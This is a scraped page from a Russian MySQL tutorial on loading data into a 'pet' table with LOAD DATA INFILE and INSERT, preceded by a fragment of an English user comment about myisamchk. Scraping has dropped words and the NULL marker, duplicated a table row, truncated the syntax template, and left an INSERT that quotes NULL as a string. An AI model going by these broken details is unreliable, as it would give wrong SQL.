non-unique indexes are created in a separate batch"
since the mechanism used is a "repair with
keycache" which can be very slow if you have many
indexes. One really needs to use the mechanism to
stop keys being created and then do the repair with
myisamchk using "repair with sort" as described in
section 5.2.9 (if you can get it to work:-()

Posted by on Wednesday October 9 2002, @12:43pm

[

Навигация по Самоучителю: 1.1 Что такое MySQL? 1.2 Почему используют MySQL? 1.3 Насколько стабилен MySQL? 1.4 Насколько большими могут быть таблицы MySQL? 1.5 MySQL, MySQL AB, MySQL-MAX: что это такое? 1.6 Под какими операционными системами работает MySQL? 1.7 Дистрибутивы MySQL 1.8 Подсказки командной строки MySQL 2.1 Введение в MySQL 2.2 Соединение с сервером MySQL 2.3 Ввод запросов в MySQL 2.4 Создание и использование баз данных 2.5 Создание базы данных MySQL 2.6 Создание таблицы MySQL 2.7 Загрузка данных в таблицу MySQL 2.8 Выбор всех данных из таблицы MySQL 2.9 Выбор конкретных строк из таблицы MySQL 2.10 Выбор произвольных столбцов из таблицы MySQL 2.11 Сортировка строк из таблицы MySQL 2.12 Вычисление дат в таблице MySQL 2.13 Работа со значениями NULL в таблице MySQL 2.14 Сравнение по шаблону. SQL-шаблоны. 2.15 Подсчет строк в SQL-шаблоны. Функция COUNT() 2.16 Использование нескольких таблиц в одном SQL запросе 2.17 Получение информации о базах данных MySQL и таблицах 2.18 Примеры общих запросов в MySQL 2.19 Максимальное значение для столбца MySQL 2.20 В какой строке хранится максимум некоего столбца MySQL 2.21 Максимум столбца в группе MySQL 2.22 В какой строке MySQL находится максимальное значение по группе? 2.23 Применение переменных пользователя в MySQL 2.24 Использование клиента MySQL в пакетном режиме 3.1 Строки в MySQL 3.2 Числа в MySQL. Как писать числа в MySQL? 3.3 Шестнадцатеричные значения в MySQL 3.4 Значения NULL в MySQL 3.5 Имена баз данных, таблиц, индексов, столбцов и псевдонимов в MySQL 3.6 Чувствительность к регистру в именах в MySQL 3.7 Пользовательские переменные в MySQL 3.8 Комментарии в MySQL 3.9 Зарезервированные слова MySQL 4.1 Резервирование баз данных MySQL 4.2 Синтаксис BACKUP TABLE в MySQL 4.3 Синтаксис RESTORE TABLE в MySQL 4.4 Синтаксис CHECK TABLE в MySQL 4.5 Синтаксис REPAIR TABLE в MySQL 4.6 Синтаксис OPTIMIZE TABLE в MySQL 4.7 Синтаксис ANALYZE TABLE в MySQL 4.8 Синтаксис FLUSH в MySQL 4.9 Синтаксис KILL в MySQL 4.10 Синтаксис SHOW в MySQL 4.11 Синтаксис SHOW TABLE STATUS в MySQL 4.12 Синтаксис SHOW STATUS в MySQL 4.13 Синтаксис SHOW VARIABLES в MySQL 4.14 back_log 4.15 character_set, character_sets, concurrent_inserts 4.16 connect_timeout, delay_key_write, delayed_insert_limit 4.17 delayed_insert_timeout, delayed_queue_size, flush_time 4.18 have_raid, have_ssl, init_file 4.19 interactive_timeout, join_buffer_size, key_buffer_size 4.20 language, log_bin, long_query_time 4.21 lower_case_table_names, max_allowed_packet, max_binlog_cache_size 4.22 max_connections, max_connect_errors, max_delayed_threads 4.23 max_join_size, max_sort_length, max_user_connections 4.24 max_tmp_tables, max_write_lock_count, myisam_sort_buffer_size 4.25 mуisam_max_extra_sоrt_file_size, myisam_max_sort_file_size, net_buffer_length 4.26 net_read_timeout, net_retry_count, net_write_timeout 4.27 open_files_limit, port, record_buffer 4.28 protocol_version, record_rnd_buffer, query_buffer_size 4.29 safe_show_databases, skip_networking, skip_show_databases 4.30 socket, sort_buffer, skip_show_databases 4.31 thread_cache_size, tmp_table_size, wait_timeout 4.32 Синтаксис SHOW PROCESSLIST в MySQL 4.33 Синтаксис SHOW GRANTS в MySQL 4.34 Синтаксис SHOW CREATE TABLE в MySQL 4.35 Файл опций my.cnf в MySQL 5.1 Типы столбцов в MySQL 5.2 Числовые типы в MySQL 5.3 Типы даты и времени в MySQL 5.4 Проблема Y2K (2000 года) и типы Date в MySQL 5.5 Типы DATETIME, DATE и TIMESTAMP в MySQL 5.6 Тип TIME в MySQL 5.7 Тип YEAR в MySQL 5.8 Строковые типы CHAR и VARCHAR в MySQL 5.9 Строковые типы BLOB и TEXT в MySQL 5.10 Строковый тип ENUM в MySQL 5.11 Строковый тип SET в MySQL 5.12 Выбор правильного типа для столбца MySQL 5.13 Использование типов столбцов из других СУБД для MySQL 5.14 Требования столбцов MySQL к памяти 6.1 Функции для использования MySQL в SELECT и WHERE 6.2 Нетипизированный оператор Скобки в MySQL 6.3 Нетипизированный Оператор сравнения в MySQL 6.4 Логические операторы MySQL 6.5 Функции ветвления в MySQL 6.6 Строковые функции в MySQL

После создания таблицы вы должны заполнить ее данными. Инструкции и INSERT полезны для этого. Как они работают, поговорим чуть позже, а пока давайте подумаем о данных, которые надо ввести в таблицу. Как именно они выглядят?

Предположим, что ваши записи о живности могут быть описаны, как показано ниже. Заметьте, что MySQL ожидает даты в формате год-месяц-день, это может быть отлично от того, к чему вы привыкли. Год лучше вводить в виде 4 цифр. MySQL имеет довольно сложный алгоритм, чтобы правильно обрабатывать значения лет, состоящие из двух цифр, но сейчас вам незачем разбираться еще и в этом, поэтому давайте вводить данные однозначно. Все данные о животных для нашего примера показаны в таблице 2.2:

Таблица 2.2. Данные о животных

name	owner	species	sex	birth	death
Fluffy	Harold	кошка	f	1993-02-04
Fluffy	Harold	кошка	f	1993-02-04
Claws	Gwen	кошка	m	1994-03-17
Buffy	Harold	собака	f	1989-05-13
Fang	Benny	собака	m	1990-08-27
Bowser	Diane	собака	m	1989-08-31	1995-07-29
Chirpy	Gwen	птичка	f	1998-09-11
Whistler	Gwen	птичка		1997-12-09
Slim	Benny	змея	m	1996-04-29

Поскольку вы начинаете работу с пустой таблицей, самый простой способ заполнить ее состоит в том, чтобы создать текстовый файл, содержащий строку для каждого из ваших животных, а затем загрузить содержимое файла в таблицу всего одной инструкцией.

Вы могли бы создать текстовый файл pet.txt, содержащий одну запись на строку, со значениями, отделяемыми позициями табуляции, указанными в том порядке, в котором столбцы были перечислены в инструкции CREATE TABLE. Для отсутствующих значений (типа неизвестного пола или дат гибели для животных, которые все еще живут), вы можете использовать значения NULL. Чтобы представить их в текстовом файле, используйте метку. Например, запись о птичке Whistler выглядит примерно так (пробелом я обозначил табуляцию):

Whistler Gwen птичка 1997-12-09

Чтобы загрузить данные из текстового файла pet.txt, расположенного на локальном компьютере (клиенте), а не на сервере, в таблицу pet, используйте команду LOAD DATA:

Mysql> LOAD DATA LOCAL INFILE «pet.txt» INTO TABLE pet;

Ключевые слова имеют следующий смысл. INFILE определяет строку, которая является именем файла, из которого надо прочитать данные. Поскольку имя является строкой, оно заключено в кавычки, иначе MySQL будет пытаться его вычислить, как числовое выражение. LOCAL указывает, что файл надо искать на клиентской системе, а не на сервере. INTO TABLE предписывает загрузить данные в таблицу, имя которой указано сразу после слова TABLE (через пробел).

Вы можете определять разделитель значений столбцов и маркер конца строки в инструкции явно, если вы желаете, но значениями по умолчанию как раз и являются табуляция и перевод строки. Их достаточно, чтобы правильно прочитать файл pet.txt, а большего вам сейчас и не надо.

Когда вы хотите добавить новые записи по одной, полезна инструкция INSERT . В самой простой ее форме вы обеспечиваете значения для каждого столбца в том порядке, в котором столбцы были перечислены в инструкции CREATE TABLE. Предположим, Что Diane получила в подарок нового хомяка Puffball. Вы можете добавить новую запись, используя инструкцию INSERT, примерно так:

Mysql> INSERT INTO pet
-> VALUES ("Puffball","Diane","хомяк","f","1999-03-30","NULL");

Ключевые слова здесь также не отличаются особой сложностью. INTO pet определяет, в какую таблицу идет вставка. VALUES задает список вставляемых значений для новой записи в таблице. Значения перечисляются через запятые и все вместе берутся в скобки.

Обратите внимание, что строки и значение даты определены как строки. Вы можете вставлять NULL непосредственно (не как строку), чтобы представить отсутствие значения.

Из этого примера вы видите, что для непосредственной загрузки в таблицу пришлось бы печатать довольно много. Инструкция сберегла много времени.

LOAD DATA INFILE "file_name.txt" INTO TABLE tbl_name [ ENCLOSED BY ""] ] [(col_name,...)]

В случаях, когда файлы находятся на сервере, последний действует по следующим правилам:

Если задан абсолютный (полный) путь к файлу, то сервер использует этот путь без изменений.
Если задан относительный путь к файлу с указанием одного или более начальных каталогов, то поиск файла будет осуществляться относительно указанных каталогов в каталоге данных сервера (datadir).
Если дается путь к файлу без указания начальных каталогов, то сервер ищет этот файл в директории используемой базы данных.

Mysql> USE db1; mysql> LOAD DATA INFILE "data.txt" INTO TABLE db2.my_table;

Если утверждение FIELDS не определено, то по умолчанию его параметры будут принимать следующие значения:

FIELDS TERMINATED BY "\t" ENCLOSED BY "" ESCAPED BY "\\"

Если утверждение LINES не определено, то по умолчанию оно имеет следующую структуру:

LINES TERMINATED BY "\n"

Искать концы строк в виде символов `\n"
Разбивать строки на поля по символам табуляции.
Не ожидать, что поля могут быть заключены в символы цитирования.
Интерпретировать встречающиеся символы табуляции, новой строки или `\" , предваренные `\" , как литералы, являющиеся частью значения поля.

Вставлять символы табуляции между полями.
Не заключать поля в символы цитирования. Использовать символы `\" для экранирования экземпляров символов табуляции, новой строки или `\" , которые появляются среди величин поля.
Вставлять символы новой строки в конце каждой записи.